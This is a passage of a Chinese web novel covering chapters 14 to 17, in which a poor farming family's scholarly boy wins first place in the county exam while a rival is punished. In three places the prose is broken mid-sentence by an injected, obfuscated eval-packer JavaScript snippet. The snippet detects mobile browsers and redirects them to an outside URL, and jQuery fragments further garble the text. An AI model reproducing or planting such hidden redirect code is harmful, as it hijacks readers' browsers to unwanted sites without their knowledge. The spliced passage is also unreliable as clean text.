王公桥塌至今，梅老头一直在等陈老头打上门来，他才好借机发难。 这厢听见动静，当即抄起竹竿，劈头盖脸戳上去。 陈老头疼得嗷嗷直叫，挣开梅老二的钳制，连滚带爬往自家院里逃去。 梅老头夺过梅老二手中斧头，一阵风似的追了上去。 进了陈家门，抡起斧头便狠狠劈下，实木方桌应声开裂，木渣四下飞溅。 紧接着又是板凳、木柜，尽数被砍得四分五裂，轰然倒地。 “住手！” “杀人啦！梅守财杀人啦！” 陈家人又惊又怒，不敢上前阻拦，只能扯开嗓门大喊。 梅老头充耳不闻，又冲进厨房，抬手掀翻铁锅，再持棍横扫，碗筷摔了满地。 将能毁的毁个干净，梅老头一斧头劈在门上，入木三分：“我若是你们，出了这等丑事，就该躲在家里当缩头乌龟。” “今日是锅碗桌凳，再有下次，便是你们的项上人头！” 陈老头望着满地狼藉，眼前一黑，直挺挺向后栽倒。 14. 014 陈家人立于一地狼藉中，个个捶胸顿足，哭天抢地。 “梅守财你个老畜生，你欺人太甚！” “我可怜的文哥儿，他若有个三长两短，老娘做鬼也不会放过你们！” 陈家门外早已围满了看热闹的村民，听了这话连连摇头。 “这事儿本就是他自找的，跟老梅家有啥关系？” “时哥儿他家已经够厚道了，换做是我，早就连人带屋一把火烧了。” 梅老头提着斧头走出来，抹了把黝黑泛红的脸，苦笑道：“让大家看笑话了。” 村民们连忙摆手。 “梅老哥你是实在人，也是被那一家子臭不要脸的逼急了。” “兔子急了还咬人呢，何况是人。” 梅老头回到家，饭菜刚上桌。 “阿爷！” 凤姐儿炮弹似的扑上来，梅老头伸手接住。 小姑娘眼睛亮晶晶地看着阿爷，满脸崇拜：“阿爷你太厉害了，一个人就打得他们落花流水，哭爹喊娘！凤姐儿长大了也要像阿爷一样，往后顿顿都能吃上肉！” 梅老头哭笑不得，粗糙指腹轻捏孙女儿的脸蛋：“阿爷是个糙汉子，凤姐儿可不能长成阿爷这般。” 凤姐儿噘嘴，还欲再说，梅老太吆喝：“吃饭了。” “欸，来啦！” 梅鹤时净了手，撩袍落座，便听梅老头说道：“今日我教训他们一番，往后他们不敢再来你跟前碍眼了。” 他拭去水珠，轻嗯一声：“多谢阿爷。” 梅老头闹这一场，倒显得他无用武之地。 梅鹤时忽略心头漾起的温热，从怀中取出梅花糕：“掌柜见我做事周全，多给了十文钱。这糕点是刚出炉的，还温热着，阿爷你们快尝尝。” 梅老二瞄他一眼，缩在袖中的手蜷起，用力抠了抠指甲。 梅老太嗔道：“时哥儿你挣的都是血汗钱，攒着作束脩便是。” 话虽如此，还是依言给每人分了一块。 “哇，是甜的！” “阿兄你真好，暄哥儿最喜欢阿兄了！” “凤姐儿也是！” 梅鹤时莞尔，转眸看向长房两个小的。 蘅姐儿吃得腮帮鼓鼓，眉眼弯弯，晃着小脚更显娇憨。 唯独寅哥儿兴致缺缺，只掰下一角浅尝，余下都给了蘅姐儿。 莫非是不爱甜食？ 正想着，寅哥儿忽然看过来，四目相触，下一瞬又移开，专注盯着蘅姐儿。 来梅家这几日，梅鹤时发现除了蘅姐儿，寅哥儿从未与任何人说过话。 仿佛在他的世界里，唯有蘅姐儿是最重要的，其余皆是无关人等。 不知梅鹤昂夫妇是如何教养的，竟将寅哥儿养得这般沉闷寡言，偏又敏锐得令人心惊。 梅二婶在一旁瞧着，心里止不住泛酸。 两个小兔崽子，她一把屎一把尿将他们拉扯大，也没听过这等甜人心的话。 又见暄哥儿凤姐儿小口抿着梅花糕，脸蛋泛起喜悦红晕，梅二婶眼神柔软一瞬。 她这一双儿女尚未出生，梅家便败落了。 有口粗茶淡饭已是不易，哪有余钱买零嘴儿吃，今日还是头一遭。 罢了，随他们高兴去。 糕点下肚，方轮到正餐。 桌上两碟清炒春笋，每人一碗糙米粥、两个窝头便是今夜的夕食。 梅鹤时自幼不爱吃笋，只就着窝头喝粥。 虽寡淡，却足以充饥。 云恩玉听婆母说绣样，不时应上两句，余光似有若无地打量幼子。 见他没伸筷子，她搓了下膝头裙摆，笑着问：“我记得时哥儿最爱吃笋，可是今晚上做得不合口味？” 梅鹤时抬眸，天色已暗，云恩玉一双眼却亮如明镜。 “阿娘多虑了。”他面不改色道，“这几日朝夕往返，有些累，没什么胃口。” 后半句是实话。 这具身体本就孱弱，每日徒步两个时辰，骨头都快散架了。 云恩玉攥着裙摆的手指悄然松开，捧起粥碗道：“下午我跟你阿奶琢磨出了新的绣样，这一批绣品若是做得好，能多挣几文钱。” 梅二婶忍不住插嘴：“时哥儿你就是自讨苦吃，在家读书不知多舒坦，偏要跑去城里。你是不晓得，村里那些碎嘴婆娘是如何说你......” “唐秋珠！”梅老太一拍筷子，“吃都堵不住你那张破嘴！” 梅二婶哽住，恨恨咬下半个窝头。 死老太婆忒偏心，气煞她也！ 用过夕食，梅鹤时叫住往西屋去的梅老二：“多谢二叔仗义执言。” 梅老二脚下微顿，含混应一声，头也不回地进了屋。 屋内不曾点灯，他盘腿上炕，望着窗前那团月影，半晌取出藏在袖中的梅花糕，细细咀嚼。 黑暗中，谁也看不清他的表情。 - 午后，梅鹤时照常稍作歇息，重回案后执笔代写。 送走代写挽联的妇人，掌柜将一只锦盒置于案上，又取出一粒碎银：“辛苦你一趟，将这印章送去东家府上。” 梅鹤时将锦盒揣入怀中，碎银存入荷包：“掌柜放心，我一定送到。” 这孩子性子沉稳，做事利落，掌柜自是信得过：“去吧，快去快回。” 书肆东家的住处不算远，不过半柱香脚程。 梅鹤时将印章交与东家，对方查验无误，给他一小盒蜜饯。 折返时途径赌坊，忽然听见一道颇为耳熟的男声。 循声望去，竟是梅老二与他那些狐朋狗友。 王老三揽住梅老二的肩，带着他往里走：“昨日你没来，今儿个可得陪我玩上几把。” 梅老二摇头推辞：“我手里没钱，今日还是算了，改日再说。” 王老三却抓着他不放：“咱们不赌，只进去看个热闹。” “老二你是不晓得，昨日有个人赢了一百多两，白花花一大堆，不知能喝多少花酒。” “我知你从未来过赌坊，且先看我是怎么赌的，待摸清了门道，再上赌桌。” “你头脑机灵，说不准也能如那人一般，挣一箩筐银子......” 梅老二有些意动。 有了钱，他便无需跟着王老三几人蹭吃蹭喝，腰杆子都挺不直，亦可让阿爹阿娘对他刮目相看。 还有时哥儿，他也有钱读书了，不必再去书肆看人脸色做事。 刚迈开右脚，身后冷不防传来一道清朗嗓音：“二叔。” 回首望去，正对上梅鹤时冷冽中暗含审视的眸子。 不知怎的，梅老二有些头皮发麻，他下意识挥开王老三的胳膊，站直身子：“时哥儿不是在书肆做事吗？怎么跑到街上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525097|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了？” “给东家送东西。”梅鹤时轻描淡写道，双眼牢牢锁住他，“二叔怎会在此？” 梅老二眼珠乱转，不敢与梅鹤时对视，挤出一抹笑：“路过，恰巧路过。” 这话不算作假。 今日一早，他便被王老三几个强拉进城。 一路百般游说，待他回神，人已经在赌坊门口了。 梅鹤时未作回应，只隔着一条长街，冷眼瞧着梅老二。 梅老二被他盯得冷汗直冒，咽了口唾沫：“我突然想起还有要事，老三你们去玩吧，我先走了。” 说罢，脚底抹油溜得飞快，眨眼没了踪影。 梅鹤时深深看了王老三几人一眼，转身离去。 ...... 一晃两个时辰，书肆闭铺，梅鹤时领了工钱，带着蜜饯回村。 梅老头坐在柿子树底下鞣制狍子皮，梅老太与妯娌俩在做针线，一旁还有蘅姐儿寅哥儿两只小木雕。 梅鹤时打开锦盒，递到蘅姐儿跟前：“替掌柜跑腿，东家给的，尝尝甜不甜。” 蘅姐儿看向阿兄，待寅哥儿颔首示意，她才拿两颗。 一颗给自己，另一颗塞阿兄嘴里。 手指头戳疼了寅哥儿，他皱了下眉，什么也没说，左腮鼓起一个小包。 蘅姐儿仰头看人，触及少年黑白分明的眼，小脸微红，细声细气道：“多谢二叔。” 梅鹤时勾了下唇，将蜜饯置于灶房方桌上：“下午我在赌坊门口看到二叔了。” 梅老太脸色顿时阴沉下来：“他去赌钱了？” 梅鹤时摇头，将午后见闻一五一十道来。 梅老太将帕子揉成一团，又连忙展开，咬牙切齿：“我就晓得那几个不是什么好东西，嘴皮子都磨破了，不让他跟他们在一块，他偏不听，我看他是要气死我！” 梅老头轻拍她两下，面上看着平静，唯有起伏不定的胸膛藏着压抑怒火：“我晓得了，这事儿交给我。” 此言正合梅鹤时心意。 梅老二虽替他出一回头，却不值得他多费心思，交给梅老头才最稳妥。 ...... 梅老二回到家，几间屋黑黢黢，静得落针可闻。 梅老头坐在正屋门口，腿上横放一根粗木棍，正冷冷凝视着他。 梅老二心里一突，下意识转身要跑。 梅老头见他这副怂样，厉声喝道：“不孝子，你给我站住！” 梅老二虽平日混不吝，却不愚笨，略一想便知是梅鹤时回来告状，低声骂了句脏话，脚下不慢反快。 梅老头见状，更是怒火中烧，举起手中木棍，朝着梅老二冲了过去，一边打一边骂：“我让你赌！我让你不听劝！我打死你个不孝子，省得你再祸害这个家！” 木棍落在身上，梅老二疼得龇牙咧嘴，四下逃窜。 眼看梅老头下手越发没个轻重，他不由恼了，指着自己的脑袋吼道：“有本事你就往这里打！” “反正我在你眼里就是个不孝子，你跟阿娘有孙子有重孙，不缺我这个不孝子，死了倒也干净。” “来啊！打我啊！”梅老二把脑袋往木棍底下送，口不择言道，“你打死我，然后就像忘了阿兄一样，忘了我这个儿子！” 此言一出，梅老头举着木棍的手僵在半空。 月光下，他那张脸惨白如纸。 15. 015 黄泥房前一片死寂。 梅老二后知后觉，意识到自己方才失言，喉头滚动两下，道歉的话到嘴边，又因为那可笑的尊严咽了回去。 他色厉内荏瞪了梅老头一眼，什么也没说，头也不回冲进沉沉夜色。 又急又重的脚步声远去，梅老头如一尊冻住的石像，扬起的手僵在半空，面上怒容早已褪去，只余茫然与怔忡。 夜露渐浓，沾湿粗布衣襟，寒意顺着衣缝钻进骨子里，他却浑然不觉，望着梅老二离去的方向，眼神空洞得可怕。 不知僵立多久，梅老头脊背缓缓佝偻下去，步履蹒跚地挪回正屋。 房门“吱呀”一声关上，烛火堙灭，重归死寂。 ...... 翌日卯时，天色未明，梅鹤时做完五道算学题，又研读《论语》一篇，方才退出图书馆，起身穿衣。 算上昨日跑腿的赏银，目前他已攒下四百多文。 至多再坚持半月，便可凑齐束脩。 云恩玉早已起身，梅鹤时穿衣的动静惊醒寅哥儿，他睁开眼，面无表情望向窗前的少年。 梅鹤时似有所觉回望，见寅哥儿睡眼惺忪，乌发蓬乱，上前隔着被褥轻拍两下：“时辰还早，再睡会儿。” 寅哥儿定定看他两眼，头一歪又沉沉睡去。 再如何老成，终究还是个孩子。 梅鹤时又替蘅姐儿掖了被角，轻手轻脚掩上房门。 刚转过身，便听见从正屋传来的微弱呻.吟。 过去一瞧，梅老太面色苍白地躺在炕上，双目紧闭，嘴唇干裂，连呼吸都带着气若游丝的虚弱。 梅鹤时眉头微蹙，见梅老头往怀里揣了什么，着急忙慌往外走，便问道：“阿爷，阿奶这是？” 梅老头沉声道：“昨夜受了凉，我去请大夫过来瞧瞧。” 梅鹤时余光掠过遗落在正屋门口的木棍，去灶房用朝食。 即便梅老太是因为梅老二病倒，他亦不后悔昨日之举。 君不见十赌九输，多少人家因赌博家破人亡。 梅家本就家徒四壁，再沾上赌债，便彻底没了活路。 既已决定科举入仕，梅鹤时决不容许这等意外发生。 一碗疙瘩汤下肚，梅鹤时又从锅里拿了个窝头，迎着熹微晨光进城去。 辰时未至，便有客人在书肆外等候。 老妪见了梅鹤时，笑容和蔼：“小先生，老婆子又来找你写信了。” 少年唇角微牵：“您稍等，我去去就来。” 老妪欸欸应着，那股亲热劲儿如同对待亲孙子一般。 一旁的书生见状，不屑之余酸得厉害。 他们在书肆两年有余，却不比一个新来的黄毛小儿受欢迎，真真气煞人也！ ...... 午后，梅鹤时正打算回铺内稍作歇息，忽听那几名书生谈及陈耀文。 “今早途径县衙，刑房张贴告示，说是即日起，那构陷同年的考生戴枷游街，诸位可要随老夫同去瞧个热闹？” “科举舞弊甚是常见，构陷舞弊却被拆穿的却没几个，某倒要去瞧瞧，那陈耀文究竟是何等蠢样，栽赃嫁祸连笔迹都不知改换。” “说起来，那被构陷的考生才是真有本事。听闻那日搜检官当众从他考篮中搜出夹带，他却半点不慌，硬生生将这必死之局转败为胜。” 陈耀文害人不成反自食恶果一事早已传开，几名书生皆有耳闻，对此不置可否。 “这般临危不惧的气度，将来定有大出息。”矮胖书生赞道，随即话锋一转，“算算日子，县试放榜也就这两日了。” 他看向一旁蓄着山羊须的书生，拱手笑道：“令郎素来勤勉，学问又扎实，此番下场定能一举中榜，拔得头筹。” 那书生连忙摆手：“犬子资质平庸，不过是略通诗书罢了，能否中榜全看天意，怎敢说什么拔得头筹？只求不负这些时日的苦读，得个正经名分便好。” “张兄这就太过谦虚了。”旁边一人笑着打趣，“令郎的学问，咱们谁不清楚？去年县学诗会，他一首《秋江赋》惊艳四座，连县令大人都夸他才思敏捷。区区县试，定然不在话下。” “待令郎中榜，可得请咱们喝杯喜酒。” 张兄含笑应下，几人相携远去。 掌柜正坐在柜台后拨算盘，见梅鹤时进来，笑着问道：“方才外面闹哄哄的，都是去围观那陈耀文游街，你怎的不去凑个热闹？这般稀奇事，寻常可遇不到。” 梅鹤时于柜台旁长凳落座，将散乱纸笔收拾齐整：“与其浪费时辰，瞧那些无关紧要的事，不如多写几封信，攒够束脩才是正经。” 掌柜摇头失笑，那几个一把年纪，竟不如一个孩子沉得住气：“可决定去哪家私塾了？” 梅鹤时将铜钱放入钱匣：“清河书院。” 掌柜挑眉：“志气不小，老夫等着你的喜讯。” 说话间，又来了客人，梅鹤时重坐案前，一忙便是三个时辰。 斜阳西垂，梅鹤时收起笔墨，将今日所得交与掌柜。 掌柜细细清点，拨一部分给他：“十八封信，一份诉状，共计九十七文。” 梅鹤时谢过，又道：“掌柜，明日我想告假一日。” 掌柜抬首：“作甚去？” 梅鹤时将铜钱放入荷包：“明日县试放榜。” 掌柜与他身后的几名书生齐齐怔住。 县试放榜与他何干？ 莫非...... 掌柜满面诧异：“你今年下场？” 梅鹤时颔首。 “这可真是......”掌柜一阵咂舌，“也罢，便准你告假一日，后日准时上工即可。” 梅鹤时拱手称谢，越过神情各异的书生，径直走出书肆。 半晌，矮胖书生轻咳一声：“县试无甚门槛，往年亦有孩童下场，不足为奇。” 另一人附和：“去年某还见过七岁稚童下场呢。” 张兄神色微缓，辞别掌柜回家去。 字写得好，不代表文章也写得好。 区区十岁小儿，怎会是什么天生神童？ - 考棚内的烛火亮了整整四日，于第五日傍晚熄灭。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525098|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 数百份考卷尽数批阅完毕，案上整齐码放着拟录取的考卷，一旁落榜的木箱早已堆满，字迹潦草、文理不通的考卷散落其间。 钱县令端坐主位，神色肃然，考官与阅卷官分列两侧，皆屏息凝神。 按大庆朝科举规制，阅卷完毕后需由主考官主持拆弥封，核对考生姓名、籍贯，确认无误后拟定名次，全程需有考官监督，以示公允。 众目睽睽下，两名衙役捧着密封完好的考卷上前。 钱县令示意考官先行验看封印，确认无破损，亲手拿起拆封刀，划开弥封纸。 第一份考卷的弥封拆开，钱县令目光落至姓名栏，难掩讶异：“竟然是他？” 阅卷官闻言，心生好奇。 这份考卷的字迹与正场中那份惊艳考卷别无二致，想来出自同一人之手。 县令大人这般，莫非认得此人？ 钱县令轻叩桌案，思绪飘回几日前。 王公桥突然坍塌，虽未造成人员伤亡，却也引来了百姓恐慌。 他派人彻查，可查来查去，只发现是桥体年久失修，并无人为痕迹。 或许真是偶然。 但那陈耀文构陷同年，证据确凿，绝不可轻饶。 此番戴枷示众，终身禁考，望他反躬自省，重新做人。 钱县令定了定心神，又拆开第二份考卷的弥封，望向两旁：“这一份乃是正场中另一人所写，诸位以为，谁人当得案首？” 一位阅卷官率先开口：“前者五场作答皆立意深远，尤其四书题，层层递进，试帖诗更是意境悠远。” “虽年岁尚轻，却大有格局，当属案首！” 当即有人反驳：“下官以为，后者更胜一筹。” “此人五场作答字字珠玑，文气贯通，无论八股还是诗赋，皆为上上之选。” “反观前者，第三场文章虽有见地，稳如泰山，无半分疏漏，字迹却略显稚嫩......” 话未说完，便有阅卷官振振有词：“字迹稚嫩又如何？此人文中藏着一股韧劲，立意更具新意，比后者的循规蹈矩更有潜力！” 双方各执一词，争论不休，堂中气氛愈发热烈。 钱县令凝神聆听，反复翻看两份考卷，若有所思。 待众人争论稍歇，钱县令抬手示意安静，缓缓开口：“诸位所言皆有道理，然县试案首关乎科场风气，更是为朝廷选拔可用之才，当以沉稳为先。” “前者作答稳而不乱，五场以来从未有过失误，反观后者，偶有笔锋偏锐，内敛不足，不堪为案首。” 力挺前者的阅卷官心下一喜，连声附和：“大人所言极是，此人沉稳有度，乃是案首不二人选！” 钱县令颔首，将第一份考卷置于首位：“便定此人为本次县试案首，另一人次之。其余名次，诸位再核对一遍，务必公正无误，明日准时放榜。” 话已至此，看好后者的阅卷官只得遗憾作罢。 钱县令顿了顿，又道：“将此人考卷多刻印几份，下放县学，令学子好生研读。” 众人应诺，各司其职忙碌开来。 16. 016 暮霭沉沉，最后一缕霞光被远山吞没，太平村浸在一片昏暗中，唯有零星几户人家还亮着微弱烛火。 梅鹤时踩着碎石踏入村中，眉宇间带着几分经久徒步后的疲惫，眼底却沉静依旧。 途经梅守福家门口，一道身影从门后闪出，拦住他的去路。 抬眼望去，梅书珩手提一盏煤油灯，下颌微抬，一派倨傲姿态：“你可知明日县试放榜？” 梅鹤时淡声道：“每日进城，自然有所耳闻。” 梅书珩最瞧不上他这故作清高的模样，嗤道：“我读了八年书，夫子尚且不许我下场，你读书时日不过我一半，难不成还真以为自己能考中？” 梅鹤时又饿又累，懒得同他多费口舌。 抬手按了按眉心，正欲绕开，不远处传来几道拖沓脚步声，伴着议论声由远及近。 是几个晚归的村民，肩扛锄头，借着微弱月光归家。 瞥见灯影下二人，村民停下脚步。 “时哥儿珩哥儿？这么晚了还在外头说话？” 个头最高的中年男子视线在两人之间打个转，定在梅鹤时身上：“时哥儿，书院可有着落了？县试又有几成把握？” 梅书珩眼珠一转，扬声道：“方才我正与时哥儿说这事儿呢，这几日我见他半点不慌，想来再过不久，咱们村又要出个童生了。” “那敢情好！时哥儿打小就聪明，又肯下苦功，每日天不亮就读书，考个童生自然不在话下。” “时哥儿若真考上，咱们全村也都跟着面上有光哩！” 梅鹤时素来喜静，更不喜被人这般围着追问，黑暗中神情更显冷峻：“考场无常，不敢妄言，全凭天意而已。” 村民们见他不愿多谈，便不再追问，又说笑两句，各自往家去。 横竖明日放榜，是成是败，届时自见分晓。 待脚步声远去，梅书珩敛了笑意，阴阳怪气道：“这还没考上功名，倒是先摆起架子了。万一落了榜，书院也没考上，怕是要被人笑掉大牙。” 梅鹤时不置一词，绕过他往村尾去。 见他全然无视自己，梅书珩只觉一拳砸在棉花上，冲着那清瘦背影狠狠啐了一口。 “装什么清高，不过是个恬不知耻占人便宜的东西，靠着夫子的施舍才得以读书，也敢在我面前装腔拿调。” 指着西边一阵痛骂，勉强消了气，梅书珩冷哼一声，甩袖回屋去。 今夜早些睡，明日且看那小子如何出丑。 ...... 行至家门口，梅老头正靠在柿子树上抽旱烟。 火光明灭，映得那双眼浑浊又黯然。 “夜间凉，阿爷怎的不回屋？” 梅鹤时到了跟前，梅老头才回过神来，抬手抹了把脸：“你阿奶还睡着，出来透口气。” 晚风拂过，柿子树簌簌作响，一片翠叶落在肩头。 梅鹤时抬手拂去，思及过往几日种种，半蹲下身：“阿爷，您可怪我？” 梅老头怔了瞬，烟袋杆在石头上轻轻一磕，摇了摇头：“你做得对，遇上这种事就该告诉家里人。” 是老二被人带歪了。 亦是他这个做爹的，没教好老二。 梅老头望着眼前初具风骨的少年，浑浊眼里泛起一层湿意，半晌长叹一声。 他心里清楚，这些年老二心里总憋着一股气，觉得他和老婆子偏心时哥儿，怪他们对他不管不顾。 可时哥儿打小命苦，走路还不稳当，亲爹便去了。 尚未成人，昂哥儿又战死沙场。 他们做长辈的，不多偏疼他几分，还能疼谁？ 更遑论，老大临终前还念念不忘，说自己没能出人头地，没能给家里改换门庭，愧对梅家列祖列宗。 时哥儿自幼聪颖过人，眼睛里有股韧劲，许夫子也说他读书有天赋，让他们一定要好生供他读书...... 梅老头不愿再想那些伤心事，抬手抹了下眼角，语气软下：“时哥儿莫要多想，你二叔只是一时钻牛角尖，过阵子便能想明白了。” 他轻拍梅鹤时左肩：“你阿娘一早便做好了夕食，只等你回来。时哥儿累了一日，快去吃饭吧。” 梅鹤时嗯一声，起身去灶房，帮忙端碗拿筷。 一家子沉默着用了夕食，梅二婶清楚梅老太病倒是因为她男人，心虚得紧，见所有人放下筷子，便张罗着收拾碗筷。 云恩玉打了盆热水，让梅鹤时去洗漱。 梅鹤时端着木盆问：“阿奶如何了？” 云恩玉将水瓢放回锅里：“吃了药好多了，只是时睡时醒，打不起精神。” 说罢推了下幼子：“早些歇息，明日还要早起。阿娘在锅里留了饭，你阿奶醒来若是饿，热一热便能吃。” 梅鹤时依言回了东屋，拉过墙角的旧布充当帘帘幕，有条不紊洗漱。 灶房内，云恩玉望着幼子离去的背影，半靠在灶台边，呼吸清浅。 良久，低叹一句：“终究是徒增感伤罢了。” 夫君的死，是全家人心中一道无法宣之于口的伤疤。 八年以来，他们鲜少提及夫君，仿佛这般，伤痛便可痊愈。 可只有他们自己知晓，那道伤从未真正愈合过。 它藏在心底最深处，看似被岁月掩盖，实则无时无刻不在流血流脓。 而二叔昨夜那番话，撕破那层伪装的平静。 令这本就支离破碎的小家，越发摇摇欲坠。 - 一夜各怀心思，辗转难眠。 县试考生亦是如此。 天色微明，东方刚泛起一抹鱼肚白，考棚外便已挤满了看榜之人。 一众考生或双手合十，低声祈祷，或来回踱步，无意识地啃咬指甲，亦有凑在一处，低声揣测名次的，尽显凝重与忐忑。 辰时刚至，考棚大门轰然打开。 两名衙役手持水火棍开路，身着官袍的放榜官缓步而出，其身后胥吏手捧一卷红纸，正是此次县试的红榜。 待胥吏将红榜张贴妥当，衙役一声高喝：“贴好了！” 人群如潮水般，推搡着往前涌。 个个踮着脚尖，探长脖子，双目黏在红榜上，手指隔空点着纸上的姓名，呼吸急促，急切之情几乎要破出胸膛。 须发半白的中年考生寻见自己的姓名，当场跪倒在地，对着红榜连连叩首，哽咽高呼：“不负寒窗！” 一旁与他年岁相仿的考生在红榜上反复搜寻，指尖划过每一个姓名，却未寻到自己的，脸色瞬间惨白，身子一软倚墙跪倒，仰天嚎哭不止。 人群前排，郑兄身着锦缎长袍，被几名考生簇拥其中。 “郑兄，此次案首定然非你莫属。”满脸痘痕的考生满脸谄媚，语气里满是恭维。 长脸考生连忙附和：“我等几人加起来，也不及郑兄半分才情，案首之位舍你其谁？” 郑兄听着恭维，嘴上谦逊道：“诸位过誉了，本次县试人才济济，能否高中案首还未可知。” “非也！”方脸考生振振有词，“郑兄考前所作文章，连教谕都赞不绝口。这般才学，放眼全县谁人能及？” 就在此时，人群中传来一声高呼，如惊雷般炸开：“案首是太平村梅鹤时！” 郑兄得意笑容陡然僵住，如同一盆冷水兜头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525099|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浇下，凉遍四肢百骸。 他挤到照壁前，死死盯着红榜最顶端。 红榜首位，“梅鹤时”三个大字赫然在目。 而他郑青云，家境优渥，自幼受名士教导，却屈居穷酸农家子之下。 “怎会是他？”郑青云难以置信，“那小子才读几年书，怎么可能考中案首？定是官府弄错了！” 他伸手想要去摸红榜，一探真伪，却被衙役拦住：“放肆！红榜乃朝廷公文，岂容你随意触碰！” 郑兄被衙役推得一个趔趄，踉跄着后退两步，面色惨白如纸，眼中傲气荡然无存。 一旁三人更是呆若木鸡。 满脸痘痕的考生张大了嘴，半晌说不出一句话：“那梅鹤时不是来是凑数的吗？他怎会考中案首？” 方脸考生恶意揣测：“多半是用了什么见不得人的手段。” 一旁，长脸考生盯着红榜来回扫视，声音发颤：“甭说他了，红榜上似乎没有咱们三人的名字。” 其余两人脸色骤变，慌忙挤到照壁前，目光从榜首一路往下急掠，一遍、两遍......反复查看五遍，始终寻不到自己的姓名。 三人呆立当场，如坠冰窟。 寒窗苦读数年，本以为能拿下县试，荣耀乡里，结果却双双落榜。 再抬眼望去，“梅鹤时”三字高挂首位，红纸黑字好似在嘲笑他们不自量力。 三人被嫉妒冲昏头脑，竟疯了一般扑上前，伸手抓挠那刺眼的名字。 “大胆！” 衙役厉声呵斥，反手扣住三人臂膀，拖拽着丢出人群。 “再敢闹事，终身禁考！” 三人摔得浑身酸痛，却也冷静下来，惊惧涌上心头，连滚带爬逃了。 就在此时，街尾传来一阵铜锣声响。 众人循声望去，一男子囚衣染血，头发脏乱，被衙役拖拽着前行，沉重木枷压得他抬不起头。 好事者一路尾随，鄙夷之声不绝于耳。 “平日里端着读书人的架子，背地里净做些龌龊勾当，简直污了士林名声！” “大好前程偏要走歪路，落得这副下场也是活该！” “我若是你，早就一头撞死了......” 声声讥讽入耳，陈耀文怒火中烧，恨不能将这些人碎尸万段。 你们懂什么？ 你们不曾屡试不第，更不曾冻死街头，有何资格评判他？ “快走！” 衙役从身后搡了一把，陈耀文正欲发作，忽听高呼声迭起。 “这位梅案首当真是少年英才，出身农家，却以十岁之龄一举夺魁！” “梅案首”三个字撞入耳中，陈耀文浑身一震，触电般望向声源处。 那照壁上红榜耀眼夺目，榜首“梅鹤时”得陈耀文双目生疼。 恍如前世重现，梅鹤时少年登科，一路青云直上，受万人敬仰。 而自己碌碌半生，困于乡野，做一辈子的卑贱农夫，仰人鼻息，活得狼狈不堪。 陈耀文望着那高悬榜首的姓名，忽而放声大笑。 那笑声凄厉癫狂，听得周遭百姓纷纷侧目。 笑声未落，陈耀文捂住心口，一口血脱口喷出，身子晃了两晃，直挺挺跌倒在地。 衙役咒骂一声，上前架起陈耀文，拖着便往前走。 陈耀文盯着那一抹红，扯唇冷冷一嗤。 县案首又如何？ 他可是重活一世之人。 他有人参，有人脉，更知晓未来之事。 只需熬过这阵，恢复科考资格，他日定能重整旗鼓，将梅鹤时狠狠踩在脚下，一雪今日之耻！ 17. 017 三月里，卯时的夜色依旧浓重。 今日告假，梅鹤时却准时苏醒，面墙侧卧片刻，待倦意散尽，进入万界图书馆。 他轻触玉牌，取来《论语》，逐字揣摩圣贤之言，做完昨夜遗留的四书题，又演算数道算学题，对照答案自行批阅。 三个时辰弹指即逝，梅鹤时将做完的几本墨册归还，刚退出图书馆，旁侧传来窸窣声响。 转眸望去，蘅姐儿滚进寅哥儿怀中，兄妹二人相拥依偎，亲昵无间。 梅鹤时不欲惊扰他俩，悄然披上絮袄，去正屋探望梅老太。 梅老太斜倚炕柜，手捧一只老旧手炉，气色比昨日红润许多，眼神亦清亮有神。 见梅鹤时进来，梅老太拍了拍身旁土炕：“时哥儿来了，过来坐。” 梅鹤时依言上前，替梅老太掖好被角：“阿奶今日可舒坦些？” “杨大夫医术高明，已然好了大半。”梅老太笑道。 梅鹤时心下稍定，陪梅老太闲话几句家常，叮嘱她安心静养，便掩上门退了出去。 梅老头早已进山打猎，云恩玉在打理菜地，同一旁洗衣服的梅二婶有一搭没一搭地低声闲聊。 梅鹤时并未打搅二人，折返东屋，发现蘅姐儿醒了，大半身子伏在寅哥儿身上，嘴里哼哼唧唧，说些他听不懂的呓语。 听见脚步声，蘅姐儿扭过头，眨巴着水润眼眸：“二叔。” 梅鹤时应了声，撩袍落座，取来梅兴祖遗留的墨册。 册中尽是批注感悟、治学心得，字字皆是真知灼见，于他大有裨益。 约莫过了半个时辰，忽听蘅姐儿软绵轻唤：“二叔。” 余光瞥去，小女娃挪至身侧，小手怯怯拉住他的衣袖：“二叔，梳头。” 梅鹤时眉梢微扬，颇有些稀奇。 往日里，蘅姐儿总是怯生生的，见了他便往寅哥儿身后躲，今日倒是头一遭。 “木梳，板凳。” 蘅姐儿双眼微亮，蹬蹬跑回去，搬来小板凳，又蹬蹬几步，取来木梳，塞到二叔手里，手搭在膝头，乖巧坐好。 